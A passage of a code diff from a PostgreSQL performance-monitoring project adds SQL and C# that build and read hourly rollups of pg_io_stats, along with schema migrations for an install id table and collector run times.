+            SELECT date_trunc('hour', t.collection_time) AS hr, count(*) AS n
+            FROM ok, pg_io_stats AS t
+            WHERE t.server_id = $1
+            AND   t.collection_time >= $2::timestamp - interval '1 hour' AND t.collection_time < $3::timestamp
+            AND   t.collection_time >= ok.h1 - interval '1 hour' AND t.collection_time < ok.h2
+            GROUP BY 1
+        ),
+        c AS (
+            SELECT r.hour_start AS hr, sum(r.row_count) AS n
+            FROM ok, pg_io_stats_hourly AS r
+            WHERE r.server_id = $1 AND r.hour_start >= ok.h1 - interval '1 hour' AND r.hour_start < ok.h2
+            GROUP BY 1
+        )
+        SELECT ok.h1, ok.h2
+        FROM ok
+        WHERE NOT EXISTS (SELECT 1 FROM l FULL JOIN c USING (hr) WHERE l.n IS DISTINCT FROM c.n)
+""";
+
+    /// <summary>
+    /// The stitched read (same output columns as <see cref="DarlingPgIoReader.PgIoSql"/>): $1 server_id, $2/$3 the window,
+    /// $4 row cap, $5/$6 the (h1, h2) the guard returned. Raw rows of the two edges are differenced as before; each rollup hour is
+    /// one pseudo-row at its last row's time and values, carrying the hour's in-hour sum plus its boundary difference when the previous row is in the window.
+    /// </summary>
+    public const string StitchedReadSql = """
+        WITH seg AS (
+            SELECT collection_time AS ct, backend_type, object_type, context, false AS rolled,
+                   reads, read_time_ms, hits, extends, extend_time_ms, evictions, reuses, writes, write_time_ms,
+                   read_bytes, write_bytes, extend_bytes, stats_reset, op_bytes,
+                   (writes IS NOT NULL) AS writes_tracked, (read_bytes IS NOT NULL) AS byte_counters_tracked,
+                   NULL::timestamp AS prev_ct,
+                   NULL::numeric AS i_reads, NULL::double precision AS i_read_time_ms, NULL::numeric AS i_hits, NULL::numeric AS i_extends,
+                   NULL::double precision AS i_extend_time_ms, NULL::numeric AS i_evictions, NULL::numeric AS i_reuses, NULL::numeric AS i_writes,
+                   NULL::double precision AS i_write_time_ms, NULL::numeric AS i_read_bytes, NULL::numeric AS i_write_bytes, NULL::numeric AS i_extend_bytes,
+                   NULL::numeric AS b_reads, NULL::double precision AS b_read_time_ms, NULL::numeric AS b_hits, NULL::numeric AS b_extends,
+                   NULL::double precision AS b_extend_time_ms, NULL::numeric AS b_evictions, NULL::numeric AS b_reuses, NULL::numeric AS b_writes,
+                   NULL::double precision AS b_write_time_ms, NULL::numeric AS b_read_bytes, NULL::numeric AS b_write_bytes, NULL::numeric AS b_extend_bytes
+            FROM pg_io_stats
+            WHERE server_id = $1
+            AND   ((collection_time >= $2 AND collection_time < $5) OR (collection_time >= $6 AND collection_time <= $3))
+            UNION ALL
+            SELECT last_ct, backend_type, object_type, context, true,
+                   l_reads, l_read_time_ms, l_hits, l_extends, l_extend_time_ms, l_evictions, l_reuses, l_writes, l_write_time_ms,
+                   l_read_bytes, l_write_bytes, l_extend_bytes, stats_reset, op_bytes, writes_tracked, byte_counters_tracked,
+                   prev_ct,
+                   i_reads, i_read_time_ms, i_hits, i_extends, i_extend_time_ms, i_evictions, i_reuses, i_writes, i_write_time_ms,
+                   i_read_bytes, i_write_bytes, i_extend_bytes,
+                   b_reads, b_read_time_ms, b_hits, b_extends, b_extend_time_ms, b_evictions, b_reuses, b_writes, b_write_time_ms,
+                   b_read_bytes, b_write_bytes, b_extend_bytes
+            FROM pg_io_stats_hourly
+            WHERE server_id = $1 AND hour_start >= $5 AND hour_start < $6
+        ),
+        differenced AS (
+            SELECT
+                backend_type, object_type, context, stats_reset, op_bytes, writes_tracked, byte_counters_tracked,
+                CASE WHEN rolled THEN coalesce(i_reads, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_reads, 0) ELSE 0 END ELSE GREATEST(reads - LAG(reads) OVER series, 0) END AS d_reads,
+                CASE WHEN rolled THEN coalesce(i_read_time_ms, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_read_time_ms, 0) ELSE 0 END ELSE GREATEST(read_time_ms - LAG(read_time_ms) OVER series, 0) END AS d_read_time_ms,
+                CASE WHEN rolled THEN coalesce(i_hits, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_hits, 0) ELSE 0 END ELSE GREATEST(hits - LAG(hits) OVER series, 0) END AS d_hits,
+                CASE WHEN rolled THEN coalesce(i_extends, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_extends, 0) ELSE 0 END ELSE GREATEST(extends - LAG(extends) OVER series, 0) END AS d_extends,
+                CASE WHEN rolled THEN coalesce(i_extend_time_ms, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_extend_time_ms, 0) ELSE 0 END ELSE GREATEST(extend_time_ms - LAG(extend_time_ms) OVER series, 0) END AS d_extend_time_ms,
+                CASE WHEN rolled THEN coalesce(i_evictions, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_evictions, 0) ELSE 0 END ELSE GREATEST(evictions - LAG(evictions) OVER series, 0) END AS d_evictions,
+                CASE WHEN rolled THEN coalesce(i_reuses, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_reuses, 0) ELSE 0 END ELSE GREATEST(reuses - LAG(reuses) OVER series, 0) END AS d_reuses,
+                CASE WHEN rolled THEN coalesce(i_writes, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_writes, 0) ELSE 0 END ELSE GREATEST(writes - LAG(writes) OVER series, 0) END AS d_writes,
+                CASE WHEN rolled THEN coalesce(i_write_time_ms, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_write_time_ms, 0) ELSE 0 END ELSE GREATEST(write_time_ms - LAG(write_time_ms) OVER series, 0) END AS d_write_time_ms,
+                CASE WHEN rolled THEN coalesce(i_read_bytes, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_read_bytes, 0) ELSE 0 END ELSE GREATEST(read_bytes - LAG(read_bytes) OVER series, 0) END AS d_read_bytes,
+                CASE WHEN rolled THEN coalesce(i_write_bytes, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_write_bytes, 0) ELSE 0 END ELSE GREATEST(write_bytes - LAG(write_bytes) OVER series, 0) END AS d_write_bytes,
+                CASE WHEN rolled THEN coalesce(i_extend_bytes, 0) + CASE WHEN prev_ct >= $2 THEN coalesce(b_extend_bytes, 0) ELSE 0 END ELSE GREATEST(extend_bytes - LAG(extend_bytes) OVER series, 0) END AS d_extend_bytes
+            FROM seg
+            WINDOW series AS (
+                PARTITION BY backend_type, object_type, context
+                ORDER BY ct
+            )
+        )
+        SELECT
+            backend_type,
+            object_type,
+            context,
+            CAST(coalesce(SUM(d_reads), 0) AS bigint)      AS reads,
+            coalesce(SUM(d_read_time_ms), 0)               AS read_time_ms,
+            CAST(coalesce(SUM(d_hits), 0) AS bigint)       AS hits,
+            CAST(coalesce(SUM(d_extends), 0) AS bigint)    AS extends,
+            coalesce(SUM(d_extend_time_ms), 0)             AS extend_time_ms,
+            CAST(coalesce(SUM(d_evictions), 0) AS bigint)  AS evictions,
+            CAST(coalesce(SUM(d_reuses), 0) AS bigint)     AS reuses,
+            CAST(coalesce(SUM(d_writes), 0) AS bigint)     AS writes,
+            coalesce(SUM(d_write_time_ms), 0)              AS write_time_ms,
+            CAST(coalesce(MAX(op_bytes), 0) AS bigint)     AS op_bytes,
+            bool_or(writes_tracked)                        AS write_counters_tracked,
+            MAX(stats_reset)                               AS stats_reset,
+            coalesce(SUM(d_read_bytes), 0)                 AS read_bytes,
+            coalesce(SUM(d_write_bytes), 0)                AS write_bytes,
+            coalesce(SUM(d_extend_bytes), 0)               AS extend_bytes,
+            bool_or(byte_counters_tracked)                 AS byte_counters_tracked,
+            CAST(SUM(coalesce(SUM(d_reads), 0)) OVER () AS bigint) AS window_total_reads,
+            SUM(coalesce(SUM(d_read_time_ms), 0)) OVER ()          AS window_total_read_time_ms
+        FROM differenced
+        GROUP BY backend_type, object_type, context
+        HAVING coalesce(SUM(d_reads), 0) + coalesce(SUM(d_writes), 0)
+             + coalesce(SUM(d_extends), 0) + coalesce(SUM(d_hits), 0) > 0
+        ORDER BY coalesce(SUM(d_read_time_ms), 0) DESC, coalesce(SUM(d_reads), 0) DESC
+        LIMIT $4
+""";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourlyBuilder.cs b/Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourlyBuilder.cs
new file mode 100644
index 0000000000..3f5e5e39dd
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourlyBuilder.cs
@@ -0,0 +1,322 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The builder of <see cref="PgIoStatsHourly"/> (#5495): the hourly store-maintenance tick's eighth tenant. It follows
+/// V168's <see cref="PlanRegressionDaily"/> builder: one transaction per (server, hour) under a per-server advisory lock, a
+/// <c>statement_timeout</c> on the build, a per-tick bound on wall-clock time (<see cref="TickBudget"/>; that bound is what keeps the
+/// first fill after the upgrade from holding the tick), and a failed build that is logged and retried by the next tick while readers
+/// stay on raw.
+///
+/// <para><b>Order and watermark.</b> Hours are built oldest first from <c>first_hour</c>, each seeded from the newest earlier
+/// rollup row, and <c>built_through</c> (exclusive) moves to the end of each hour in the same transaction as its rows. An hour is
+/// closed once <see cref="CloseMarginMinutes"/> have passed its end. The first fill starts at the first whole hour after the server's
+/// oldest raw row, no earlier than <see cref="FillDays"/> back. Every tick also rebuilds the last <see cref="RebuildHours"/> built
+/// hours, so a late row inside that span is picked up. Those hours are rebuilt in ONE transaction: a late row changes its hour's last
+/// row, which seeds the next hour's boundary difference, so rebuilding the hour alone (and the next one in a transaction of its own that
+/// can fail, be cancelled or find the lock busy) would leave a stale boundary difference beside a count the guard sees as equal, and
+/// a window over both hours would count the late row's change twice; one transaction commits both hours or neither, and the guard
+/// stays a plain count comparison. A later one leaves that hour's raw and rollup counts different, and the count
+/// guard sends a read back to the raw statement when the window spans that hour or starts in the hour after it (that hour's last row
+/// seeds the first rollup hour's boundary difference); a window that ends before the hour or starts after the next one does not need
+/// it. Until the hour ages out of retention the rollup row is never rebuilt, unlike V168's, which rebuilds on a late-row trigger.</para>
+///
+/// <para><b>First fill cost and its bound.</b> One hour costs 8 to 13 ms on the large store (90 combinations, one-minute cadence, about
+/// 5,400 raw rows), so a 31-day fill is 744 builds, about 6 to 10 s per server. Two bounds apply to a tick, both by time and neither by a
+/// count of builds: <see cref="TickBudget"/> (2 minutes: no new build starts after it, and the next tick continues from the watermark)
+/// and <see cref="MaxTickDuration"/> (10 minutes: the hard cap). A build that has started when the budget runs out finishes or times out
+/// (<see cref="BuildStatementTimeoutSeconds"/>); one still running when the hard cap passes is cancelled, rolls back, and its hours stay
+/// as they were (unbuilt, or the older rebuild), so reads of them stay on raw. Nothing runs in the migration: V170 only creates empty tables.</para>
+/// </summary>
+public static class PgIoStatsHourlyBuilder
+{
+    /// <summary>How far back the first fill reaches: raw's 30 day default retention plus a day.</summary>
+    public const int FillDays = 31;
+
+    /// <summary>An hour is closed this long after its end, so the collector's last cycle of the hour has committed.</summary>
+    public const int CloseMarginMinutes = 5;
+
+    /// <summary>The built hours before the watermark that every tick rebuilds, to catch late rows.</summary>
+    public const int RebuildHours = 2;
+
+    /// <summary>
+    /// The time bound of one tick: no new build starts once a tick has run this long, whatever is left (the next tick continues from the
+    /// watermark). A fixed count of builds would have stretched the first fill over days on a large store, where a build takes
+    /// milliseconds; a time budget lets a fast store finish its fill in one tick and a slow one stop early.
+    /// </summary>
+    public static readonly TimeSpan TickBudget = TimeSpan.FromMinutes(2);
+
+    /// <summary>
+    /// The hard cap, from the start of the tick: a build still running when it passes is cancelled and rolled back, and no later build
+    /// starts. It bounds a build that is stuck (say, on a lock) past <see cref="TickBudget"/>, which only stops new builds from starting.
+    /// </summary>
+    public static readonly TimeSpan MaxTickDuration = TimeSpan.FromMinutes(10);
+
+    /// <summary>The server-side statement_timeout of each hour's build transaction.</summary>
+    public const int BuildStatementTimeoutSeconds = 60;
+
+    private const int CommandTimeoutSeconds = BuildStatementTimeoutSeconds + 30;
+
+    private static readonly string StatementTimeoutSql = $"SET LOCAL statement_timeout = '{BuildStatementTimeoutSeconds}s'";
+
+    /// <summary>The enabled servers with raw rows: `$1` the closed-hour ceiling. Returns server_id, the oldest raw time, the state (first_hour, built_through; NULL when none).</summary>
+    public const string ServersSql = """
+SELECT sv.server_id, (SELECT min(t.collection_time) FROM collect.pg_io_stats AS t WHERE t.server_id = sv.server_id),
+       st.first_hour, st.built_through
+FROM collect.servers AS sv
+LEFT JOIN collect.pg_io_stats_hourly_state AS st ON st.server_id = sv.server_id
+WHERE sv.is_enabled
+ORDER BY sv.server_id;
+""";
+
+    /// <summary>One builder per server at a time: `$1` server_id. False means another builder holds the lock.</summary>
+    public const string LockSql = "SELECT pg_try_advisory_xact_lock(hashtextextended('pg_io_stats_hourly:' || $1::integer::text, 0));";
+
+    public const string DeleteHourSql = "DELETE FROM collect.pg_io_stats_hourly WHERE server_id = $1::integer AND hour_start = $2::timestamp;";
+
+    /// <summary>Moves the watermark: `$1` server_id, `$2` first_hour (kept when the row exists), `$3` built_through.</summary>
+    public const string MarkBuiltSql = """
+INSERT INTO collect.pg_io_stats_hourly_state AS s (server_id, first_hour, built_through)
+VALUES ($1::integer, $2::timestamp, $3::timestamp)
+ON CONFLICT (server_id) DO UPDATE SET built_through = EXCLUDED.built_through;
+""";
+
+    /// <summary>
+    /// Removes the rollup and state rows of servers that are not enabled, in ONE statement (one snapshot: a server disabled while it
+    /// runs cannot lose its state row and keep its rollup rows, which the next tick could no longer find). The state row goes first, in
+    /// a data-modifying CTE, and its <c>RETURNING</c> drives the rollup delete, so the rollup rows go by <c>server_id</c>, the leading
+    /// column of the unique index, instead of a scan of the whole rollup every hourly tick. The state row is written in the same
+    /// transaction as a server's first rollup row, so no rollup row exists without one.
+    /// </summary>
+    public const string GcSql = """
+WITH gone AS (
+    DELETE FROM collect.pg_io_stats_hourly_state WHERE server_id NOT IN (SELECT server_id FROM collect.servers WHERE is_enabled) RETURNING server_id
+)
+DELETE FROM collect.pg_io_stats_hourly WHERE server_id IN (SELECT server_id FROM gone);
+""";
+
+    /// <summary>The retention prune (`$1` the cutoff, naive UTC): rollup rows older than the raw table's retention.</summary>
+    public const string PruneSql = "DELETE FROM collect.pg_io_stats_hourly WHERE hour_start < date_trunc('hour', $1::timestamp);";
+
+    /// <summary>What one tick did.</summary>
+    public readonly record struct TickResult(int Built, int Failed, int Skipped, int Deferred);
+
+    private static DateTime Unspecified(DateTime value) => DateTime.SpecifyKind(value, DateTimeKind.Unspecified);
+
+    private static DateTime FloorHour(DateTime value) => new(value.Year, value.Month, value.Day, value.Hour, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>
+    /// Builds the given consecutive hours of one server, oldest first, in ONE transaction and moves the watermark to the last hour's
+    /// end (the new watermark never moves back past an hour already built: a rebuild of earlier hours keeps the later watermark). One
+    /// hour is the normal case; the tick passes the whole span of built hours it rebuilds, so a late row's hour and the hour after it,
+    /// whose boundary difference is seeded from that hour's last row, commit together or not at all. Returns the rows inserted, or null
+    /// when the lock was not free.
+    /// </summary>
+    public static async Task<long?> BuildHoursAsync(
+        NpgsqlConnection connection, int serverId, IReadOnlyList<DateTime> hours, DateTime firstHour, DateTime builtThrough, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+        ArgumentNullException.ThrowIfNull(hours);
+        if (hours.Count == 0)
+        {
+            return 0;
+        }
+
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        await using (var timeout = new NpgsqlCommand(StatementTimeoutSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            await timeout.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using (var @lock = new NpgsqlCommand(LockSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            @lock.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            if (!(bool)(await @lock.ExecuteScalarAsync(cancellationToken))!)
+            {
+                await transaction.RollbackAsync(cancellationToken);
+                return null;
+            }
+        }
+
+        long inserted = 0;
+        foreach (var hourStart in hours)
+        {
+            await using (var delete = new NpgsqlCommand(DeleteHourSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+            {
+                delete.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+                delete.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(hourStart) });
+                await delete.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            await using var build = new NpgsqlCommand(PgIoStatsHourly.BuildHourSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds };
+            build.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            build.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(hourStart) });
+            inserted += Convert.ToInt64(await build.ExecuteScalarAsync(cancellationToken));
+        }
+
+        var lastEnd = hours[^1].AddHours(1);
+        var through = lastEnd > builtThrough ? lastEnd : builtThrough;
+        await using (var mark = new NpgsqlCommand(MarkBuiltSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            mark.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            mark.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(firstHour) });
+            mark.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(through) });
+            await mark.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        return inserted;
+    }
+
+    /// <summary>One tick: drop disabled servers' rows, then for each enabled server build the closed hours from the watermark (less <see cref="RebuildHours"/>) in order.</summary>
+    public static Task<TickResult> RunTickAsync(NpgsqlDataSource dataSource, DateTime nowUtc, ILogger logger, CancellationToken cancellationToken)
+    {
+        var clock = Stopwatch.StartNew();
+        return RunTickAsync(dataSource, nowUtc, logger, () => clock.Elapsed, cancellationToken);
+    }
+
+    /// <summary>
+    /// <see cref="RunTickAsync(NpgsqlDataSource, DateTime, ILogger, CancellationToken)"/> with the elapsed time supplied (a test seam).
+    /// The hard cap is a timer of <see cref="MaxTickDuration"/> that starts here.
+    /// </summary>
+    public static async Task<TickResult> RunTickAsync(
+        NpgsqlDataSource dataSource, DateTime nowUtc, ILogger logger, Func<TimeSpan> elapsed, CancellationToken cancellationToken)
+    {
+        using var hardCap = new CancellationTokenSource(MaxTickDuration);
+        return await RunTickAsync(dataSource, nowUtc, logger, elapsed, hardCap.Token, cancellationToken);
+    }
+
+    /// <summary>
+    /// The tick, with both bounds supplied (a test seam): <paramref name="elapsed"/> is the budget's clock, and <paramref name="hardCap"/>
+    /// fires when <see cref="MaxTickDuration"/> has passed. When it fires, the build that is running is cancelled and rolled back
+    /// (counted as failed, logged, retried by the next tick), no later build starts (the rest of that server is left for the next tick, other servers' hours count as deferred), and the tick
+    /// returns normally; <paramref name="cancellationToken"/> still ends the tick with an <see cref="OperationCanceledException"/>.
+    /// </summary>
+    public static async Task<TickResult> RunTickAsync(
+        NpgsqlDataSource dataSource, DateTime nowUtc, ILogger logger, Func<TimeSpan> elapsed, CancellationToken hardCap, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+        ArgumentNullException.ThrowIfNull(logger);
+        ArgumentNullException.ThrowIfNull(elapsed);
+
+        int built = 0, failed = 0, skipped = 0, deferred = 0;
+        var ceiling = FloorHour(nowUtc.AddMinutes(-CloseMarginMinutes));
+        using var buildLink = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken, hardCap);
+        var buildToken = buildLink.Token;
+
+        await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+        await using (var gc = new NpgsqlCommand(GcSql, connection) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            await gc.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        var servers = new List<(int ServerId, DateTime? OldestRaw, DateTime? FirstHour, DateTime? BuiltThrough)>();
+        await using (var list = new NpgsqlCommand(ServersSql, connection) { CommandTimeout = CommandTimeoutSeconds })
+        await using (var reader = await list.ExecuteReaderAsync(cancellationToken))
+        {
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                servers.Add((reader.GetInt32(0),
+                    reader.IsDBNull(1) ? null : reader.GetDateTime(1),
+                    reader.IsDBNull(2) ? null : reader.GetDateTime(2),
+                    reader.IsDBNull(3) ? null : reader.GetDateTime(3)));
+            }
+        }
+
+        foreach (var (serverId, oldestRaw, firstHourState, builtThroughState) in servers)
+        {
+            if (oldestRaw is null)
+            {
+                continue;
+            }
+
+            DateTime firstHour, from, rebuildEnd;
+            var through = builtThroughState ?? DateTime.MinValue;
+            if (firstHourState is null || builtThroughState is null)
+            {
+                /* First fill: the first whole hour after the oldest raw row, no earlier than FillDays back. */
+                var floor = FloorHour(nowUtc.AddDays(-FillDays));
+                var start = FloorHour(oldestRaw.Value).AddHours(1);
+                firstHour = start > floor ? start : floor.AddHours(1);
+                from = firstHour;
+                rebuildEnd = from;
+            }
+            else
+            {
+                firstHour = firstHourState.Value;
+                from = builtThroughState.Value.AddHours(-RebuildHours);
+                if (from < firstHour)
+                {
+                    from = firstHour;
+                }
+
+                /* The built hours this tick rebuilds, [from, rebuildEnd), go in one transaction (see BuildHoursAsync). */
+                rebuildEnd = builtThroughState.Value < ceiling ? builtThroughState.Value : ceiling;
+            }
+
+            for (var hour = from; hour < ceiling;)
+            {
+                var batchEnd = hour < rebuildEnd ? rebuildEnd : hour.AddHours(1);
+                var batch = new List<DateTime>();
+                for (var h = hour; h < batchEnd; h = h.AddHours(1))
+                {
+                    batch.Add(h);
+                }
+
+                if (hardCap.IsCancellationRequested || elapsed() >= TickBudget)
+                {
+                    deferred += batch.Count;
+                    hour = batchEnd;
+                    continue;
+                }
+
+                try
+                {
+                    if (await BuildHoursAsync(connection, serverId, batch, firstHour, through, buildToken) is null)
+                    {
+                        skipped++;
+                        break;
+                    }
+
+                    built += batch.Count;
+                    through = batchEnd > through ? batchEnd : through;
+                }
+                catch (OperationCanceledException) when (hardCap.IsCancellationRequested && !cancellationToken.IsCancellationRequested)
+                {
+                    failed++;
+                    logger.LogWarning("PostgreSQL I/O hourly rollup: the {Cap} hard cap on a tick passed while building server {ServerId} hour {Hour:yyyy-MM-dd HH:mm}; the build was cancelled and rolled back, the next tick retries it (long reads stay on raw rows)",
+                        MaxTickDuration, serverId, hour);
+                    break;
+                }
+                catch (Exception ex) when (ex is not OperationCanceledException)
+                {
+                    failed++;
+                    logger.LogWarning(ex, "PostgreSQL I/O hourly rollup: building server {ServerId} hour {Hour:yyyy-MM-dd HH:mm} failed and is retried next tick (long reads stay on raw rows): {Message}",
+                        serverId, hour, ex.Message);
+                    break;
+                }
+
+                hour = batchEnd;
+            }
+        }
+
+        logger.LogInformation("PostgreSQL I/O hourly rollup: built {Built} hour(s), failed {Failed}, skipped {Skipped}, deferred {Deferred}", built, failed, skipped, deferred);
+        return new TickResult(built, failed, skipped, deferred);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs b/Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs
index 30b9bff9c5..4d4419cbbf 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs
@@ -315,6 +315,696 @@ ALTER TABLE collect.store_metrics
     /// </summary>
     private const string V157Sql = @"ALTER TABLE config.config_mute_rules ADD COLUMN IF NOT EXISTS server_id integer;";
 
+    /// <summary>
+    /// V158 — <c>config.config_install_id</c>: the install id (#4961), one row.
+    ///
+    /// <para>The install id is the eight characters that tell this install's Extended Events sessions from another
+    /// install's on a server both monitor, in the name of every session an install makes there. It has to outlive a
+    /// restart and be the same for every part of the install, so it lives in the store, the one thing every part of
+    /// the install shares. No store-wide table existed to hold it, so this is one: a single row pinned to
+    /// <c>id = 1</c> like <c>config_alert_settings</c>, the id under a CHECK for exactly eight lowercase hex digits
+    /// (lowercase because, on a case-sensitive server collation, an id read back in another case would name a
+    /// different session than the one it made), and the binding stored beside it.</para>
+    ///
+    /// <para><b>The binding</b> is the cluster's <c>system_identifier</c> and the store database's OID, the two values
+    /// that a physical copy of this store keeps and a different store does not. A row whose binding does not match
+    /// the store it is read from was made for another store, so the service makes a new id and logs one Warning that
+    /// names both; the old id's sessions are left alone because the install it came from may still run. Neither value
+    /// is a host name: a recreated container gets a new host name and is still the same store. The OID is NOT NULL,
+    /// because every login can read it. The cluster id is nullable: a login without superuser rights may call
+    /// <c>pg_control_system()</c> by default (checked on PostgreSQL 18), but a managed or hardened server can revoke it,
+    /// and the service has to start there. A NULL cluster id means the make could not read it, so the id is bound to the
+    /// database alone. The OID always counts when the row is compared with the store; the cluster id counts only when
+    /// both the stored row and the current read have one, so a grant that changes later never makes a new id on its
+    /// own.</para>
+    ///
+    /// <para><b>DDL only.</b> The service inserts the row at start, after the migrations and before any worker
+    /// (<c>INSERT ... ON CONFLICT DO NOTHING</c>, then a read), so two starts at once make one row. The CLI and the
+    /// Viewer only read it. Needs no GRANT: provisioning's blanket grants on the config schema re-run on every
+    /// service start and cover a table a migration introduces. Needs no trigger either: nothing reloads when the id
+    /// changes, because it only changes at start. Neither value is a secret, so no read carve is needed.</para>
+    /// </summary>
+    private const string V158Sql = @"
+/* V158: the install id (#4961), one row, made by the service at start. Schema-qualified config.* like every rung. */
+CREATE TABLE IF NOT EXISTS config.config_install_id (
+    id smallint NOT NULL PRIMARY KEY DEFAULT 1 CHECK (id = 1),
+    install_id text NOT NULL CONSTRAINT ck_config_install_id_format CHECK (install_id ~ '^[0-9a-f]{8}$'),
+    system_identifier bigint,
+    database_oid bigint NOT NULL,
+    created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC')
+);";
+
+    /// <summary>
+    /// V159 — <c>config.config_install_id.table_oid</c> and <c>server_major</c>: the OID of the install id table and the
+    /// server's major version, two more bindings for the id (#4961).
+    ///
+    /// <para>V158 bound the id to the cluster's <c>system_identifier</c> and the database's OID, and a different cluster
+    /// id made a new id. A managed major upgrade runs <c>pg_upgrade</c>, which makes a new <c>system_identifier</c>, so each
+    /// upgrade made a new id and left the old id's sessions on every monitored server. <c>pg_upgrade</c> keeps the
+    /// database's OID and the OID of each table (<see cref="StoreInstallId.IsSameStore"/> cites the PostgreSQL sources
+    /// for both) and raises the major, and a store made again by dump and restore gets new OIDs, so the two OIDs say
+    /// whether this is the same store where the cluster id cannot. OIDs restart at the same number after every
+    /// <c>initdb</c>, so a copy of the row into a fresh install of the same version can match both; the major tells that
+    /// copy from an upgrade, because an upgrade always raises it. The service keeps the id through a changed cluster id
+    /// only when both OIDs match and the major rose, and rebinds the row to the new cluster id and major.</para>
+    ///
+    /// <para><b>Nullable, DDL only, one statement.</b> A row made by V158's service has neither value. They are not
+    /// backfilled here, because both are facts of the cluster the service reads at start, not something a migration
+    /// should guess: the service writes them on its first start after this rung, and until then a row without a table OID
+    /// is compared by the old rule, which is the rule that made the row. One catalog-only <c>ADD COLUMN</c> for each, in
+    /// one statement, so the two arrive together or not at all, and a second run changes nothing. Needs no GRANT (the
+    /// roles' table-level grants cover a new column) and no trigger (nothing reloads when the id's binding changes).</para>
+    /// </summary>
+    private const string V159Sql = @"
+ALTER TABLE config.config_install_id
+    ADD COLUMN IF NOT EXISTS table_oid bigint,
+    ADD COLUMN IF NOT EXISTS server_major integer;";
+
+    /// <summary>
+    /// V160 (#4938) — <c>config.config_collector_run_times</c>: an optional run time for a collector that runs once a day
+    /// or less often, so a heavy daily collector can run in a quiet hour instead of whenever the service happened to
+    /// start.
+    ///
+    /// <para><b>Its own table, because released viewers rewrite the schedules table.</b> The viewer's schedule Save
+    /// deletes a scope's rows in <c>config_collector_schedules</c> and inserts them again with a fixed column list, and
+    /// every released viewer connects to a store that is newer than it is (the connect check refuses only an older one).
+    /// A run time kept as a column on that table would be set back to NULL by each Save. A table those Saves never write
+    /// keeps it. No row means no run time, so a store that never sets one reads exactly as it did before.</para>
+    ///
+    /// <para>The value is minutes after midnight on the monitored server's own clock, from 0 to 1439. The table mirrors the
+    /// schedules table: <c>server_id</c> NULL is fleet-wide, there is one fleet row and one server row per collector (two
+    /// partial unique indexes, because a primary key cannot span a nullable column), and the layering is the same (the
+    /// server row, else the fleet row, else no fixed time). <b>-1 is allowed on a server row only.</b> It means "no fixed
+    /// time on this server" and stops a fleet-wide time, the way an empty array stops a fleet-wide database scope; a fleet
+    /// row has no level above it to stop, so the CHECK refuses -1 there. Whether a run time applies at all depends on the
+    /// collector's effective interval (a whole number of days), which is not a property of the row, so the service judges
+    /// that when it resolves the schedule, not the CHECK.</para>
+    ///
+    /// <para><b>DDL only, and a second run changes nothing.</b> Every statement is <c>IF NOT EXISTS</c> or a drop and
+    /// create, so running the rung again keeps the table, its indexes and its rows. Needs no GRANT: provisioning's blanket
+    /// grants on the config schema re-run on every service start and cover a table a migration introduces. It does carry
+    /// the one trigger the schedules table has, V17's reload beacon, so a write here bumps
+    /// <c>config_service.config_version</c> and a running service reloads the run times. No foreign key to the server
